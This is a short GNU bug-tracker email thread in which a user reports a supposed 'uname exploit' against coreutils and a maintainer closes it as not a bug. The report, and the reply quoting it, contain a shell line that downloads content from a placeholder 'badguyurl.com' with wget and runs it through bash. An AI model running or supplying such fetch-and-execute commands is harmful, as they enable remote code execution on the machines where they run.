Subject: bug#24328: closed (Re: bug#24328: uname exploit)

From: [email-masked] (GNU bug Tracking System)
Date: Mon, 29 Aug 2016 15:59:02 +0000

Your bug report

#24328: uname exploit

which was filed against the coreutils package, has been closed.

The explanation is attached below, along with your original report.
If you require more details, please reply to [email-masked].

-- 
24328: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=24328
GNU Bug Tracking System
Contact [email-masked] with problems

Subject: Re: bug#24328: uname exploit
From: Paul Eggert <[email-masked]>
To: Shane <[email-masked]>, [email-masked]
Date: Mon, 29 Aug 2016 08:58:40 -0700
List-Id: <debbugs-submit.debbugs.gnu.org>

Shane wrote:
> uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"

I don't see a bug here, so I'm marking this as done.

Subject: uname exploit
From: Shane <[email-masked]>
To: [email-masked]
Date: Mon, 29 Aug 2016 02:25:03 -0500
List-Id: <debbugs-submit.debbugs.gnu.org>

Hi, I am unsure if you have seen this, but I am concerned about this - 
can or should uname be restricted to root use only?

uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"